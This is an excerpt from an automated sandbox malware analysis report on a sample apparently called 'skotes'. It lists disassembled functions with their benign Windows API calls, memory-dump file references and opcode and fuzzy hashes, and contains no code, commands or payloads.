Instruction Fuzzy Hash: 30514671D242089BEF24EF28CD457DEB778DF46310F9442A9E409A7281DF319AA48F91

Function 002C6E4C Relevance: 1.6, APIs: 1, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3346122564.0000000000291000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00290000, based on PE: true

Associated: 00000007.00000002.3346080086.0000000000290000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346122564.00000000002F2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346199484.00000000002F9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346225916.00000000002FB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346254292.0000000000307000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346358573.0000000000458000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346385246.000000000045A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346413347.0000000000471000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346439552.0000000000474000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.0000000000475000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.000000000047D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346515160.0000000000485000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346555662.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346580055.0000000000487000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346603645.0000000000488000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346633920.0000000000498000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346662951.0000000000499000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346692829.00000000004AB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346715813.00000000004AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346740105.00000000004AE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346777116.00000000004AF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346801145.00000000004B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346825669.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346854894.00000000004D7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346883931.00000000004D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346906770.00000000004D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346930102.00000000004DE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346954464.00000000004E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346979555.00000000004E6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347005401.00000000004E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347029317.00000000004E8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347051966.00000000004E9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347078157.00000000004F0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347103451.00000000004F1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347130124.00000000004F4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347156077.00000000004FF000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347181957.0000000000501000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347207048.0000000000502000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347232628.0000000000509000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347257214.0000000000510000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347284510.0000000000512000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347309188.0000000000513000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347336465.000000000051B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347365010.000000000052E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347392057.000000000052F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347421451.000000000053C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000053E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000055D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347508172.0000000000573000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347533733.0000000000575000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347558825.0000000000589000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347586242.000000000058A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347611531.000000000058B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347638741.000000000058F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347662543.0000000000591000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347689148.000000000059F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347713834.00000000005A0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_290000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 24f347002fc0424310ec72f15473a5abdfb617f17269decc9080b48315fb1973
Instruction ID: 0b7321df47a921fd9ff6767a989b5e4cc336f78dd14b7a8d14eca7e1cbf4c565
Opcode Fuzzy Hash: 24f347002fc0424310ec72f15473a5abdfb617f17269decc9080b48315fb1973
Instruction Fuzzy Hash: 7021F8329151097BEB117BA8DC46FAF3729DF42378F11031DF9242B1C1D7719E259AA1

Function 002C7124 Relevance: 1.6, APIs: 1, Instructions: 56timeCOMMON

Download Yara Rule

APIs

SystemTimeToTzSpecificLocalTime.KERNELBASE(00000000,?,?,?,?,?,002C705B,?,?,00000000,00000000), ref: 002C7166

Memory Dump Source

Source File: 00000007.00000002.3346122564.0000000000291000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00290000, based on PE: true

Associated: 00000007.00000002.3346080086.0000000000290000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346122564.00000000002F2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346199484.00000000002F9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346225916.00000000002FB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346254292.0000000000307000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346358573.0000000000458000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346385246.000000000045A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346413347.0000000000471000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346439552.0000000000474000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.0000000000475000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.000000000047D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346515160.0000000000485000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346555662.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346580055.0000000000487000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346603645.0000000000488000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346633920.0000000000498000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346662951.0000000000499000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346692829.00000000004AB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346715813.00000000004AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346740105.00000000004AE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346777116.00000000004AF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346801145.00000000004B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346825669.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346854894.00000000004D7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346883931.00000000004D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346906770.00000000004D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346930102.00000000004DE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346954464.00000000004E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346979555.00000000004E6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347005401.00000000004E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347029317.00000000004E8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347051966.00000000004E9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347078157.00000000004F0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347103451.00000000004F1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347130124.00000000004F4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347156077.00000000004FF000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347181957.0000000000501000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347207048.0000000000502000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347232628.0000000000509000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347257214.0000000000510000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347284510.0000000000512000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347309188.0000000000513000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347336465.000000000051B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347365010.000000000052E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347392057.000000000052F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347421451.000000000053C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000053E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000055D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347508172.0000000000573000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347533733.0000000000575000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347558825.0000000000589000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347586242.000000000058A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347611531.000000000058B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347638741.000000000058F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347662543.0000000000591000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347689148.000000000059F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347713834.00000000005A0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_290000_skotes.jbxd

Yara matches

Similarity

API ID: Time$LocalSpecificSystem
String ID:
API String ID: 2574697306-0
Opcode ID: 066f5d0525aa1bd6100344190cb860ad565f5ad898f46c0a2ff3b9f05a5c3da7
Instruction ID: 210ee5b1a3e5070fc343487e195936a4f03bc2f432a92436d6ba0e97956fcfbd
Opcode Fuzzy Hash: 066f5d0525aa1bd6100344190cb860ad565f5ad898f46c0a2ff3b9f05a5c3da7
Instruction Fuzzy Hash: 8511187291410DABDF10DE94C984FDFB7FCAB08360F24526AE515E2080EBB0EA59CF61

Function 002CD82F Relevance: 1.5, APIs: 1, Instructions: 40memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,002CA813,00000001,00000364,00000006,000000FF,?,?,002AD3FC,002A6CB7,?,002A7A8B,8B18EC84), ref: 002CD871

Memory Dump Source

Source File: 00000007.00000002.3346122564.0000000000291000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00290000, based on PE: true

Associated: 00000007.00000002.3346080086.0000000000290000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346122564.00000000002F2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346199484.00000000002F9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346225916.00000000002FB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346254292.0000000000307000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346358573.0000000000458000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346385246.000000000045A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346413347.0000000000471000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346439552.0000000000474000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.0000000000475000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.000000000047D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346515160.0000000000485000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346555662.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346580055.0000000000487000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346603645.0000000000488000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346633920.0000000000498000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346662951.0000000000499000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346692829.00000000004AB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346715813.00000000004AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346740105.00000000004AE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346777116.00000000004AF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346801145.00000000004B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346825669.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346854894.00000000004D7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346883931.00000000004D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346906770.00000000004D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346930102.00000000004DE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346954464.00000000004E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346979555.00000000004E6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347005401.00000000004E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347029317.00000000004E8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347051966.00000000004E9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347078157.00000000004F0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347103451.00000000004F1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347130124.00000000004F4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347156077.00000000004FF000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347181957.0000000000501000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347207048.0000000000502000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347232628.0000000000509000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347257214.0000000000510000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347284510.0000000000512000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347309188.0000000000513000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347336465.000000000051B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347365010.000000000052E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347392057.000000000052F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347421451.000000000053C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000053E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000055D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347508172.0000000000573000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347533733.0000000000575000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347558825.0000000000589000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347586242.000000000058A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347611531.000000000058B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347638741.000000000058F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347662543.0000000000591000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347689148.000000000059F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347713834.00000000005A0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_290000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 9543fe076899ee5cdbc2e9c7fcab32f0983f207f080f78514956394296b1458b
Instruction ID: 510d56509a6fba26585d555045c0a6d28d836eff984cead29498b9c48883e2cb
Opcode Fuzzy Hash: 9543fe076899ee5cdbc2e9c7fcab32f0983f207f080f78514956394296b1458b
Instruction Fuzzy Hash: 3BF0E93153112666EF213E769C05F6B7759DF453B0B16833DFD08A7181DA20DC3285E0

Function 002A6C70 Relevance: 1.3, APIs: 1, Instructions: 40sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE ref: 002A6CF5

Memory Dump Source

Source File: 00000007.00000002.3346122564.0000000000291000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00290000, based on PE: true

Associated: 00000007.00000002.3346080086.0000000000290000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346122564.00000000002F2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346199484.00000000002F9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346225916.00000000002FB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346254292.0000000000307000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346358573.0000000000458000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346385246.000000000045A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346413347.0000000000471000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346439552.0000000000474000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.0000000000475000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.000000000047D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346515160.0000000000485000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346555662.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346580055.0000000000487000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346603645.0000000000488000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346633920.0000000000498000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346662951.0000000000499000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346692829.00000000004AB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346715813.00000000004AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346740105.00000000004AE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346777116.00000000004AF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346801145.00000000004B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346825669.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346854894.00000000004D7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346883931.00000000004D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346906770.00000000004D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346930102.00000000004DE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346954464.00000000004E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346979555.00000000004E6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347005401.00000000004E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347029317.00000000004E8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347051966.00000000004E9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347078157.00000000004F0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347103451.00000000004F1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347130124.00000000004F4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347156077.00000000004FF000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347181957.0000000000501000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347207048.0000000000502000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347232628.0000000000509000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347257214.0000000000510000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347284510.0000000000512000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347309188.0000000000513000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347336465.000000000051B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347365010.000000000052E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347392057.000000000052F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347421451.000000000053C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000053E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000055D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347508172.0000000000573000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347533733.0000000000575000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347558825.0000000000589000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347586242.000000000058A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347611531.000000000058B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347638741.000000000058F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347662543.0000000000591000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347689148.000000000059F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347713834.00000000005A0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_290000_skotes.jbxd

Yara matches

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: e7958b699501afeef39bc7efe383883092c63db0bad63859071410c6e68a07af
Instruction ID: 8a877f52b4faee1578534d1ac717bdeb04d9538b946da785d980a49a5ef757fa
Opcode Fuzzy Hash: e7958b699501afeef39bc7efe383883092c63db0bad63859071410c6e68a07af
Instruction Fuzzy Hash: E5F0F971A20654EBC701BB78DC07B1EBB75EB17BA0F900359E821672D1DB701A258BD2

Function 04B00053 Relevance: .2, Instructions: 205COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3349922082.0000000004B00000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4b00000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0bd1461a216e3ab1cb356754b861582b707051f08c973db67236e60b908af390
Instruction ID: 63c6854c4d0f628cf6254fbc0b869fa0ab5faaf47878f20ee83a08b3d55c60a4
Opcode Fuzzy Hash: 0bd1461a216e3ab1cb356754b861582b707051f08c973db67236e60b908af390
Instruction Fuzzy Hash: E1416DEB24C1557DB202A5513F14FFB6F6DD6D6731331C8ABF806C5482F2891E5A6132

Function 04B00007 Relevance: .2, Instructions: 192COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3349922082.0000000004B00000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4b00000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d734c57f85b51039a53c88d8625d8f19e4d8a2f674d3fee260336a3427883179
Instruction ID: ed5f9a4bcbc2eff4c94f27db36c18a55a937b08b21a4d3c13ac5583b62ff0097
Opcode Fuzzy Hash: d734c57f85b51039a53c88d8625d8f19e4d8a2f674d3fee260336a3427883179
Instruction Fuzzy Hash: B7311CEB24C125BDB102E5523F14FFB6B6DD5C6731330C46BF806C5482F2991E5A2132

Function 04B00000 Relevance: .2, Instructions: 190COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3349922082.0000000004B00000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4b00000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 00c00aa88163f204598d8a0fcaf33c9f8acffe4be03f72b02a492d150cad88bb
Instruction ID: 2971372f8cf9dd06eeb81c7d065f1f3aaf663e7543bbc2e3886ba3e56216f06a
Opcode Fuzzy Hash: 00c00aa88163f204598d8a0fcaf33c9f8acffe4be03f72b02a492d150cad88bb
Instruction Fuzzy Hash: 5A31F9EB24C125BDB142A5523F14FFB6B6DE5C6731331C8ABF806C5482F2995E5A3132

Function 04B0001C Relevance: .2, Instructions: 186COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3349922082.0000000004B00000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B00000, based on PE: false

Joe Sandbox IDA Plugin

